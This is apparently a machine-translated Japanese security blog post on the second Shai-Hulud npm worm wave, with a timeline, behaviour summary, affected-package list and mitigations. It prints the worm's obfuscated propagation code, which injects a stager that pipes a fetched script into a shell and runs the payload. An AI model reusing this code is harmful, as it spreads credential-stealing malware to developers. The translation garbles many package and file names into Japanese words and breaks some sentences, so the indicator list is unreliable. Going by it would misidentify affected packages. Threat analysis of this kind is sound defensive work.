また月曜の朝、パソコンの前に座る。すると、直近1時間のパッケージからマルウェアの兆候を示すアラートが山積みになっているのが目に入る。まだコーヒーを一杯飲み終えていないのに、シャイ・フルードの兆候だ。やれやれ、きっと誤検知だろう?いや、月曜の始まりだ。シャイ・フルードがまた襲来した。覚悟しろ。
シャイ・フルード作戦の年表
タイミングが注目されるのは、npmがサプライチェーン攻撃の波を受けて12月9日にクラシックトークンを無効化すると発表した直後だからだ。多くのユーザーがまだ信頼できる公開方式に移行していない中、攻撃者はnpmの期限前に最後の攻撃を仕掛ける好機を捉えた。
- 8月27日 - npm上の複数のnxパッケージを標的としたS1ngularityキャンペーンの詳細を記した報告書を公開します。
- 9月16日 -攻撃者が再び襲撃を開始し、シャイ・フルード攻撃の第一波を仕掛けた。
- 9月18日 - キャンペーンの技術的特徴と初期ペイロードの挙動についてさらに深く掘り下げた追跡分析を公開します。
- 11月24日 - 攻撃者らが「再臨」と称する第二の攻撃が発生。これはnpmが古いトークンの失効期限を設定する直前にタイミングを合わせたものだった。
シャイ・フルードとは何か?:簡単な復習
シャイ=フルード(Shai-Hulud)は、攻撃者の劇的な演出の趣味から『デューン』に登場する巨大なサンドワームにちなんで名付けられた、自己複製型npmワームである。侵害された開発者環境を急速に拡散するよう設計されている。 システムに感染すると、TruffleHogを利用してAPIキーやトークンなどの公開された機密情報を検索し、発見したものはすべて公開GitHubリポジトリに公開する。その後、自身の新規コピーをnpmにプッシュしようと試み、エコシステム全体への拡散を助長すると同時に、データを攻撃者に流出させる。劇的なテーマに沿って、攻撃者はこの最新の波を「再臨(セカンド・カミング)」と呼んでいる。
前回との違い
今回は攻撃にいくつかの重要な違いがある:
- ファイルと共にbunをインストールします
セットアップ_バン.jsそしてそれを使って実行するbun_environment.jsこれが実際の悪意のあるコードである。 - 固定された名前ではなく、盗まれたデータを含むランダムな名前のリポジトリを作成します。
- 前回は20個だったのに対し、今回は最大100個のnpmパッケージに感染します。
- GitHubまたはNPMとの認証に失敗した場合、ユーザーのホームディレクトリ内の全ファイルを削除します。
漏れる秘密
今回、マルウェアは秘密情報をGitHubにも公開する。ランダムな名前とリポジトリの説明文を伴って:
「シャア1-フルード:再臨」
現在、26.3kのリポジトリが公開されていることが確認されています:

またしても犯した過ち
これらのパッケージを分析する中で、コミュニティ経由で拡散したと思われる侵害パッケージが複数確認されました。これらは初期のステージングコードを セットアップ_バン.js、ただし bun_environment.js これはシャイ・フルードワームそのものです。以下は他のパッケージにワームを拡散させるコードです:
async ["bundleAssets"](_0x349b3d) {
let _0x2bd41c = a0_0x459ea5.join(_0x349b3d, 'package', "setup_bun.js");
await iL0(_0x2bd41c, "#!/usr/bin/env node\nconst { spawn, execSync } = require('child_process');\nconst path = require('path');\nconst fs = require('fs');\nconst os = require('os');\n\nfunction isBunOnPath() {\n try {\n const command = process.platform === 'win32' ? 'where bun' : 'which bun';\n execSync(command, { stdio: 'ignore' });\n return true;\n } catch {\n return false;\n }\n}\n\nfunction reloadPath() {\n // Reload PATH environment variable\n if (process.platform === 'win32') {\n try {\n // On Windows, get updated PATH from registry\n const result = execSync('powershell -c \"[Environment]::GetEnvironmentVariable(\\'PATH\\', \\'User\\') + \\';\\' + [Environment]::GetEnvironmentVariable(\\'PATH\\', \\'Machine\\')\"', {\n encoding: 'utf8'\n });\n process.env.PATH = result.trim();\n } catch {\n }\n } else {\n try {\n // On Unix systems, source common shell profile files\n const homeDir = os.homedir();\n const profileFiles = [\n path.join(homeDir, '.bashrc'),\n path.join(homeDir, '.bash_profile'),\n path.join(homeDir, '.profile'),\n path.join(homeDir, '.zshrc')\n ];\n\n // Try to source profile files to get updated PATH\n for (const profileFile of profileFiles) {\n if (fs.existsSync(profileFile)) {\n try {\n const result = execSync(`bash -c \"source ${profileFile} && echo $PATH\"`, {\n encoding: 'utf8',\n stdio: ['pipe', 'pipe', 'ignore']\n });\n if (result && result.trim()) {\n process.env.PATH = result.trim();\n break;\n }\n } catch {\n // Continue to next profile file\n }\n }\n }\n\n // Also check if ~/.bun/bin exists and add it to PATH if not already there\n const bunBinDir = path.join(homeDir, '.bun', 'bin');\n if (fs.existsSync(bunBinDir) && !process.env.PATH.includes(bunBinDir)) {\n process.env.PATH = `${bunBinDir}:${process.env.PATH}`;\n }\n } catch {}\n }\n}\n\nasync function downloadAndSetupBun() {\n try {\n let command;\n if (process.platform === 'win32') {\n // Windows: Use PowerShell script\n command = 'powershell -c \"irm bun.sh/install.ps1|iex\"';\n } else {\n // Linux/macOS: Use curl + bash script\n command = 'curl -fsSL https://bun.sh/install | bash';\n }\n\n execSync(command, {\n stdio: 'ignore',\n env: { ...process.env }\n });\n\n // Reload PATH to pick up newly installed bun\n reloadPath();\n\n // Find bun executable after installation\n const bunPath = findBunExecutable();\n if (!bunPath) {\n throw new Error('Bun installation completed but executable not found');\n }\n\n return bunPath;\n } catch {\n process.exit(0);\n }\n}\n\nfunction findBunExecutable() {\n // Common locations where bun might be installed\n const possiblePaths = [];\n\n if (process.platform === 'win32') {\n // Windows locations\n const userProfile = process.env.USERPROFILE || '';\n possiblePaths.push(\n path.join(userProfile, '.bun', 'bin', 'bun.exe'),\n path.join(userProfile, 'AppData', 'Local', 'bun', 'bun.exe')\n );\n } else {\n // Unix locations\n const homeDir = os.homedir();\n possiblePaths.push(\n path.join(homeDir, '.bun', 'bin', 'bun'),\n '/usr/local/bin/bun',\n '/opt/bun/bin/bun'\n );\n }\n\n // Check if bun is now available on PATH\n if (isBunOnPath()) {\n return 'bun';\n }\n\n // Check common installation paths\n for (const bunPath of possiblePaths) {\n if (fs.existsSync(bunPath)) {\n return bunPath;\n }\n }\n\n return null;\n}\n\nfunction runExecutable(execPath, args = [], opts = {}) {\n const child = spawn(execPath, args, {\n stdio: 'ignore',\n cwd: opts.cwd || process.cwd(),\n env: Object.assign({}, process.env, opts.env || {})\n });\n\n child.on('error', (err) => {\n process.exit(0);\n });\n\n child.on('exit', (code, signal) => {\n if (signal) {\n process.exit(0);\n } else {\n process.exit(code === null ? 1 : code);\n }\n });\n}\n\n// Main execution\nasync function main() {\n let bunExecutable;\n\n if (isBunOnPath()) {\n // Use bun from PATH\n bunExecutable = 'bun';\n } else {\n // Check if we have a locally downloaded bun\n const localBunDir = path.join(__dirname, 'bun-dist');\n const possiblePaths = [\n path.join(localBunDir, 'bun', 'bun'),\n path.join(localBunDir, 'bun', 'bun.exe'),\n path.join(localBunDir, 'bun.exe'),\n path.join(localBunDir, 'bun')\n ];\n\n const existingBun = possiblePaths.find(p => fs.existsSync(p));\n\n if (existingBun) {\n bunExecutable = existingBun;\n } else {\n // Download and setup bun\n bunExecutable = await downloadAndSetupBun();\n }\n }\n\n const environmentScript = path.join(__dirname, 'bun_environment.js');\n if (fs.existsSync(environmentScript)) {\n runExecutable(bunExecutable, [environmentScript]);\n } else {\n process.exit(0);\n }\n}\n\nmain().catch((error) => {\n process.exit(0);\n});\n");
let _0x3ed61a = process.argv[0x1];
if (_0x3ed61a && (await My1(_0x3ed61a))) {
let _0x1028dd = await mL0(_0x3ed61a);
if (_0x1028dd !== null) {
let _0x4cc8b3 = a0_0x459ea5.join(_0x349b3d, "package", "bun_environment.js");
await iL0(_0x4cc8b3, _0x1028dd);
}
}
}我々は、 bun_environment.js 状況によってはバンドルされない場合がある。攻撃者によるミスが再び発生したようだ。これにより現時点での攻撃の影響は限定的となっている。
侵害されたGitHubリポジトリ
AsyncAPIチームは、悪意のあるパッケージがプッシュされる直前に作成されたCLIプロジェクトのブランチが存在し、そのブランチがShai Huludマルウェアのバージョンを展開していたことを検知しました。
https://github.com/asyncapi/cli/blob/2efa4dff59bc3d3cecdf897ccf178f99b115d63d/bun_environment.js

これは、攻撃者が元のNx侵害を実行した方法と同様の手法を使用した可能性があることを示唆している。
企業はインシデントを認める
この事件の性質を考慮すると、各社が迅速に事態を認めたことを大変喜ばしく思います。各社の投稿では:
患者ゼロ
最初のパッケージは2025年11月24日 3:16:26 AM GMT+0に検出されました。これらはgo-templateパッケージと、以下の36パッケージです: 非同期APIさらに多くのパッケージが短時間で侵害されました。その後、2025年11月24日 4:11:55 AM GMT+0にPostHogパッケージ、2025年11月24日 5:09:25 AM GMT+0にPostmanパッケージの侵害が開始されました。
どのパッケージが影響を受けますか?
以下のパッケージが新型シャイ・フルードに感染していることを検出しました。これら492パッケージの合計月間ダウンロード数は1億3200万回です:
- @asyncapi/diff
- @asyncapi/nodejs-ws-template
- goテンプレート
- @asyncapi/avro-schema-parser
- @asyncapi/converter
- @asyncapi/dotnet-rabbitmq-template
- @asyncapi/nunjucks-filters
- @asyncapi/protobuf-schema-parser
- @asyncapi/問題
- @asyncapi/optimizer
- @asyncapi/python-paho-template
- @asyncapi/マルチパーサー
- @asyncapi/バンドラー
- @asyncapi/php-template
- asyncapi-プレビュー
- @asyncapi/java-spring-cloud-stream-template
- @asyncapi/modelina-cli
- @asyncapi/ジェネレータヘルパー
- @asyncapi/java-template
- @asyncapi/react-component
- @asyncapi/generator
- @asyncapi/server-api
- @asyncapi/java-spring-template
- @asyncapi/cli
- @asyncapi/web-component
- @asyncapi/specs
- @asyncapi/モデルイナ
- @asyncapi/parser
- @asyncapi/html-template
- @asyncapi/go-watermill-template
- @asyncapi/openapi-schema-parser
- @asyncapi/edavisualiser
- @asyncapi/ジェネレータコンポーネント
- dotnet-テンプレート
- @asyncapi/keeper
- GitHub Action for Generator
- @asyncapi/nodejs-template
- @asyncapi/markdown-template
- @quick-start-soft/クイックGitクリーンアップMarkdown
- @quick-start-soft/quick-markdown-image
- @quick-start-soft/クイックマークダウン翻訳ツール
- @quick-start-soft/クイックマークダウン
- テスト23112222-API
- @asyncapi/generator-react-sdk
- @quick-start-soft/quick-markdown-compose
- 鉄の盾ミニアプリ
- 手動請求システム ミニアプリ API
- 新韓-制限-スクラップ
- @strapbuild/react-native-perspective-image-cropper
- React Native Use Modal
- @クイックスタートソフト/クイックタスクリファイン
- @strapbuild/react-native-date-time-picker
- @strapbuild/react-native-perspective-image-cropper-2
- グリーアプリを作成する
- @strapbuild/react-native-perspective-image-cropper-poojan31
- @asyncapi/スタジオ
- @クイックスタートソフト/クイックマークダウンプリント
- @クイックスタートソフト/画像背景のクイック除去
- eslint-config-zeallat-base
- 韓国行政区域地理JSONユーティリティ
- @クイックスタートソフト/クイックドキュメント翻訳ツール
- アクシオスビルダー
- ポストホッグノード
- @posthog/初回イベントトラッカー
- @posthog/イベントシーケンスタイマープラグイン
- @posthog/gitub-star-sync-plugin
- ポストホグプラグイン・ハローワールド
- @posthog/bitbucket-リリース追跡ツール
- @posthog/maxmind-plugin
- @posthog/postgres-plugin
- @posthog/twilio-plugin
- @posthog/cli
- @posthog/クリックハウス
- @posthog/スノーフレークエクスポートプラグイン
- ポストホッグ・リアクトネイティブ・セッションリプレイ
- @posthog/プロパティプラグインへのイベントドロップ
- @posthog/github-リリース追跡プラグイン
- @posthog/アイコン
- @posthog/geoip-plugin
- @posthog/intercom-plugin
- @posthog/重複排除プラグイン
- @posthog/react-rrweb-player
- プロパティプラグインへのイベントドロップ
- @posthog/取り込みアラートプラグイン
- @posthog/kinesis-plugin
- @posthog/ラウドスピーカープラグイン
- @posthog/nextjs
- @posthog/nextjs-config
- @posthog/自動コホートプラグイン
- @posthog/migrator3000プラグイン
- @posthog/Pagerdutyプラグイン
- @posthog/プラグイン-コントリビュート
- @posthog/sendgrid-plugin
- @posthog/カスタマリオプラグイン
- @posthog/rrweb-utils
- @posthog/分類プラグイン
- @posthog/zendesk-plugin
- @posthog/ネットデータ-イベント処理
- @posthog/URL正規化プラグイン
- ポスホッグ-ドキュサウルス
- @posthog/通貨正規化プラグイン
- @posthog/フィルターアウトプラグイン
- @posthog/ハートビートプラグイン
- @actbase/react-native-fast-image
- @posthog/ai
- @posthog/databricks-plugin
- @actbase/react-native-kakao-channel
- ローン利息計算
- @actbase/react-absolute
- @actbase/react-daum-postcode
- @actbase/react-native-simple-video
- @posthog/コア
- @posthog/レモンUI
- @seung-ju/next
- @seung-ju/react-hooks
- ポストホッグ・リアクトネイティブ
- @actbase/css-to-react-native-transform
- @actbase/react-native-actionsheet
- @actbase/react-native-tiktok
- @seung-ju/react-native-action-sheet
- @actbase/react-kakaosdk
- @posthog/エージェント
- @posthog/分散プラグイン
- ディスコードボットサーバー
- @posthog/rrweb-replay
- @posthog/rrweb-スナップショット
- @actbase/node-server
- @actbase/react-native-devtools
- @posthog/プラグインサーバー
- @posthog/rrweb-record
- @actbase/ネイティブ
- @actbase/react-native-less-トランスフォーマー
- @posthog/rrweb
- ポスホッグ・ジェイエス
- @posthog/web-dev-server
- @posthog/プール
- @posthog/nuxt
- @posthog/rrweb-player
- @posthog/ウィザード
- @actbase/react-native-kakao-navi
- @posthog/siphash
- @posthog/twitter-followers-plugin
- @actbase/react-native-naver-login
- @seung-ju/openapi-generator
- @posthog/rrdom
- @posthog/ハリネズミモード
- React Native ワークレット関数
- エキスポ・オーディオ・セッション
- poper-react-sdk
- @postman/secret-scanner-wasm
- @postman/csv-parse
- @postman/node-keytar
- @postman/tunnel-agent
- @postman/pm-bin-macos-arm64
- @postman/pm-bin-linux-x64
- @postman/postman-コレクション-フォーク
- @postman/postman-mcp-server
- @postman/wdio-junit-reporter
- @postman/aether-icons
- @postman/postman-mcp-cli
- @postman/pretty-ms
- @postman/pm-bin-windows-x64
- @postman/wdio-allure-reporter
- @postman/final-node-keytar
- @postman/pm-bin-macos-x64
- @aryanhussain/私のAngularライブラリ
- コンデンサプラグインアプリトラッキングiOS
- コンデンサプラグイン購入
- コンデンサ購入履歴
- コンデンサ式ボイスレコーダー WAV
- scgs-コンデンサ-サブスクライブ
- @postman/mcp-ui-client
- コンデンサプラグインSCGSSignInWithGoogle
- @kvytech/メデューサプラグイン発表
- @kvytech/メデューサプラグイン製品レビュー
- メデューサプラグイン・ザロペイ
- scgsff作成者
- @kvytech/habbit-エンドツーエンドテスト
- メデューサプラグインログ
- メデューサプラグイン製品レビューKvy
- @kvytech/メデューサプラグインプロモーション
- メデューサプラグインモモ
- @kvytech/コンポーネント
- メデューサプラグイン発表
- @kvytech/cli
- @kvytech/メデューサプラグインニュースレター
- @kvytech/メデューサプラグイン管理
- @kvytech/web
- create-hardhat3-app
- テスト用ヘルメットアプリ
- EVMチェックコードCLI
- ゲートEVMツールテスト
- ゲートEVMコード検証2
- ウェブタイプ-HTMX
- テストファウンドリアプリ
- ウェブタイプ・リット
- bun-plugin-httpfile
- オープン2インターネット
- vite-plugin-httpfile
- @ensdomains/vite-plugin-i18next-loader
- @ensドメイン/ブラックリスト
- @ensdomains/durin
- @ensドメイン/更新
- @ensdomains/cypress-metamask
- バイトコードチェッカーCLI
- @ensdomains/dnsprovejs
- @ensdomains/ccip-read-dns-gateway
- @ensdomains/ccip-read-cf-worker
- @ensdomains/dnssec-oracle-anchors
- @ensdomains/逆引きレコード
- @ensdomains/ens-テスト環境
- @ensドメイン/ハッカソン登録機関
- @ensドメイン/更新ウィジェット
- 暗号アドレスコーデック
- @ensdomains/solsha1
- @ensdomains/サーバー分析
- @ensdomains/ui
- @ensdomains/テストユーティリティ
- @ensdomains/mock
- @ensdomains/ccip-read-router
- @zapier/babel-preset-zapier
- @ensdomains/ハードハット-チャイ-マッチャーズ-VIEM
- @ensdomains/ccip-read-worker-viem
- @zapier/ブラウザリスト設定-zapier
- @zapier/zapier-sdk
- @zapier/スタブツリー
- zapier-非同期ストレージ
- @zapier/AIアクション
- @zapier/mcp-integration
- @zapier/スペクトラルAPIルールセット
- @ensdomains/アドレスエンコーダー
- redux-router-kit
- @ensdomains/eth-ens-namehash
- zapier-scripts
- @ensdomains/バッファ
- @ensdomains/thorin
- zapier-platform-レガシースクリプティングランナー
- zapier-プラットフォーム-スキーマ
- @ensdomains/dnssecoraclejs
- zapier-プラットフォーム-コア
- @ensdomains/オペレーション解決器契約
- @ensdomains/ens-archived-contracts
- @ensdomains/ensjs
- @ensドメイン/サブドメイン登録業者
- @ensdomains/アンラッガブルゲートウェイ
- @ensdomains/web3modal
- zapier-platform-cli
- @ensdomains/ens-contracts
- @ensdomains/react-ens-address
- @ensdomains/曲線算術
- @zapier/シークレットスクレーバー
- @ensdomains/ハードハットツールボックス-VIEM拡張
- イーサリアム-ENS
- @ensdomains/durin-ミドルウェア
- @ensdomains/unicode-confusables
- @ensdomains/ensjs-react
- @ensdomains/コンテンツハッシュ
- @ensdomains/ens-avatar
- @zapier/AIアクション-React
- @zapier/eslint-plugin-zapier
- @ensdomains/オフチェーン解決器契約
- @ensdomains/ens-validation
- @ensdomains/名前ラッパー
- @hapheus/n8n-nodes-pgp
- @markvivanco/アプリバージョンチェッカー
- クロードトークンアップデーター
- n8nノード-TMDB
- devstart-cli
- スキル活用
- @mcp-use/インスペクター
- ズーパー-SDK
- ズーパーストリーム
- @mcp-use/mcp-use
- create-mcp-use-app
- mcp-use
- @mcp-use/cli
- ズーパー-CLI
- @caretive/caret-cli
- CPU命令
- ライトサーパーMCPサーバー
- @louisle2/コア
- jan-browser
- 正確なティッカー
- リアクトライブラリセットアップ
- 軌道石鹸
- @orbitgtbelgium/mapbox-gl-draw-scale-rotate-mode
- token.js-fork
- リアクトコンポーネントタグガー
- @louisle2/cortex-js
- 軌道星雲エディター
- @trigo/pathfinder-ui-css
- @trigo/jsdt
- @trigo/atrix-redis
- @trigo/eslint-config-trigo
- @trigo/atrix-orientdb
- @trigo/node-soap
- eslint-config-trigo
- @trigo/ブール式
- @trigo/atrix-pubsub
- @trigo/atrix-elasticsearch
- @trigo/hapi-auth-signedlink
- @trigo/keycloak-api
- @trigo/atrix-soap
- @trigo/atrix-swagger
- @trigo/atrix-acl
- マトリックス
- redux-forge
- @trigo/atrix-mongoose
- @trigo/atrix
- 軌道ボックスアイコン
- マトリックス・マングース
- ブール式
- リアクト要素プロンプトインスペクター
- trigo-react-app
- @trigo/trigo-hapijs
- @trigo/fsm
- コマンド・アイレール
- @orbitgtbelgium/mapbox-gl-draw-cut-polygon-mode
- @trigo/atrix-postgres
- @orbitgtbelgium/タイムスライダー
- @orbitgtbelgium/orbit-components
- 軌道・星雲描画ツール
- タイプオーム・オービット
- @mparpaillon/コネクタ解析
- @mparpaillon/imagesloaded
- @通勤/市場データ
- 安全を確保する
- @osmanekrem/エラーハンドラー
- @通勤/開花
- okta-react-router-6
- デザインスタジオユイユ
- イトブズ-Angular
- @ifelsedeveloper/プロトコル契約-SVM-IDL
- 糸ボタン
- @dev-blinq/cucumber_client
- blinqio-実行-CLI
- イトブズ・アンギュラー認証
- @dev-blinq/AI-QA-ロジック
- アクシオス・タイムド
- React Native Email
- 粘り強いフェッチ
- キルポート
- ジェイコブ・ズマ
- ルノ-API
- @lessondesk/eslint-config
- 距離によるソート
- ちょうど良い温かさ
- 画像からURIへ
- React Native 電話通話
- formik-エラー-フォーカス
- jqueryバインディング
- @lessondesk/babel-preset
- 最小限のCSS
- コインマーケットキャップAPI
- ライセンス自動発行ツール
- @varsityvibe/APIクライアント
- ピコ-UID
- ハイパーサーマル・ヒップスター
- ネストされたプロパティを設定する
- バイトからxへ
- ブランチ名強制
- fittxt
- 引数を取得する
- React Native Retriable Fetch
- svelte-autocomplete-select
- 機能切り替え
- lint-staged-imagemin
- React Native ビューファインダー
- フォルミックストア
- シェル実行
- react-native-ログレベル
- @everreal/ウェブ分析
- React Native Jam アイコン
- @thedelta/eslint-config
- parcel-plugin-asset-copier
- React Native WebSocket
- ra-data-firebase
- リアクト・ジャム・アイコンズ
- React Native Fetch
- @ifings/デザインシステム
- gatsby-plugin-cname
- @alexcolls/nuxt-ux
- React Native DatePicker Modal
- 未定義安全型
- Chrome拡張機能のダウンロード
- @alexcolls/nuxt-socket.io
- ファジーファインダー
- 会社登録番号正規表現
- フラップスタック
- react-keycloak-コンテキスト
- react-qr-image
- @tiaanduplessis/react-progressbar
- @lessondesk/スクールバス
- @tiaanduplessis/json
- React Native ピクセル寸法取得
- ナノリセット
- 次の循環依存関係
- URLエンコード・デコード
- axios-cancelable
- オブジェクト比較
- wenk
- ハウフェ・アクセラAPIクライアント
- オブジェクトからCSSへ
- sa-id-gen
- @lessondesk/api-client
- @varsityvibe/バリデーションスキーマ
- 平坦化-非平坦化
- ストゥール
- @clausehq/flows-step-jsontoxml
- @accordproject/コンチェルト分析
- 希望-Mapbox描画
- カウントダウン
- ホープドロー
- @accordproject/markdown-it-cicero
- piclite
- @fishingbooker/react-swiper
- @fishingbooker/ブラウザ同期プラグイン
- ジェネレーター・メテオ・ストック
- @fishingbooker/react-loader
- ベンモスティン・フレーム・プリント
- @fishingbooker/react-pagination
- @voiceflow/アンソロピック
- @voiceflow/voice-types
- @voiceflow/デフォルトプロンプトラッパー
- @voiceflow/npm-package-json-lint-config
- @voiceflow/nestjs-mongodb
- @voiceflow/tsconfig
- @voiceflow/テスト共通
- @voiceflow/ハスキー設定
- @voiceflow/commitlint-config
- @voiceflow/git-branch-check
- 通常店舗
- @voiceflow/prettier-config
- @voiceflow/stylelint-config
- vf-oss-テンプレート
- @voiceflow/storybook-config
- @voiceflow/verror
- @voiceflow/alexa-types
- @voiceflow/nestjs-timeout
- @voiceflow/serverless-plugin-typescript
- @voiceflow/voiceflow-types
- shelf-jwt-sessions
- @hover-design/react
- @voiceflow/基本型
- @voiceflow/eslint-config
- @voiceflow/fetch
- @voiceflow/共通
- @voiceflow/eslint-plugin
- @voiceflow/例外
- @voiceflow/DTOSインタラクト
- @voiceflow/google-types
- @voiceflow/nestjs-common
- @voiceflow/pino
- @voiceflow/sdk-runtime
- @voiceflow/nestjs-レート制限
- @voiceflow/openai
- dialogflow-es
- @voiceflow/ウィジェット
- arc-cli-fc
- 複合リデューサー
- 双方向アダプター
- @antstackio/express-graphql-proxy
- @antstackio/json-to-graphql
- @voiceflow/body-parser
- @voiceflow/logger
- @antstackio/eslint-config-antstack
- @voiceflow/vitest-config
- @faq-component/core
- @pruthvi21/debounceの使用
- @voiceflow/api-sdk
- @hover-design/コア
- @faq-component/react
- @voiceflow/セマンティックリリース設定
- @voiceflow/vite-config
- @voiceflow/circleci-config-sdk-orb-import
- @voiceflow/バックエンドユーティリティ
- @voiceflow/slate-serializer
- @voiceflow/google-dfes-types
- n8nノードウイルスアプリ
- @accordproject/markdown-docx
- @clausehq/フロー-ステップ-sendgridメール
- @lpdjs/firestore-repo-service
- @trefox/sleekshop-js
- invo
- jsonsurge
- mon-package-react-typescript
- rediff
- ソロモンAPIストーリー
- ソロモン-v3-物語
- ソロモン-v3-UIラッパー
- tcsp-draw-テスト
- アップランドイ
シャイ・フルード:再臨の潜在的影響
脅威アクターは数百のNPMパッケージに悪意のあるコードを潜入させています。これにはZapier、ENS、AsyncAPI、PostHog、Browserbase、Postmanなどの主要パッケージも含まれます。 開発者がこれらの悪意あるパッケージをインストールすると、マルウェアはインストールが完了する前に、インストール中に密かに実行されます。これにより、開発者のマシン、ビルドシステム、クラウド環境へのアクセス権を取得します。その後、自動化ツール(TruffleHog)を使用して、パスワード、APIキー、クラウドトークン、GitHubやNPMの認証情報などの機密情報を検索します。 発見された情報はすべて「Sha1-Hulud: The Second Coming」と名付けられた公開GitHubリポジトリにアップロードされます。盗まれた機密情報にコードリポジトリやパッケージレジストリへのアクセス権が含まれている場合、攻撃者はそれらを利用してさらに多くのアカウントに侵入し、悪意のあるパッケージを公開することで攻撃を拡散させることが可能です。信頼されたエコシステムが関与し、数百万のダウンロードが影響を受けているため、NPMを使用しているチームは直ちに影響の有無を確認し、漏洩した可能性のある認証情報を変更する必要があります。
セキュリティチームはどのような対策を取るべきか?
- Zapier/ENS関連のすべてのnpm依存関係とバージョンを監査する。
- インストール時に使用されるすべてのGitHub、npm、クラウド、およびCI/CDのシークレットをローテーションする。
- GitHubで「Sha1-Hulud: The Second Coming」という説明のついた奇妙なリポジトリを確認してください
- npmを無効にする
ポストインストール可能な限りCI内のスクリプト。 - GitHubおよびnpmアカウントでパッケージのバージョンを固定し、多要素認証(MFA)を強制する。
- Safe-Chainなどのツールを使用して、NPM上の悪意のあるパッケージをブロックする
今すぐソフトウェアを保護しましょう



.avif)
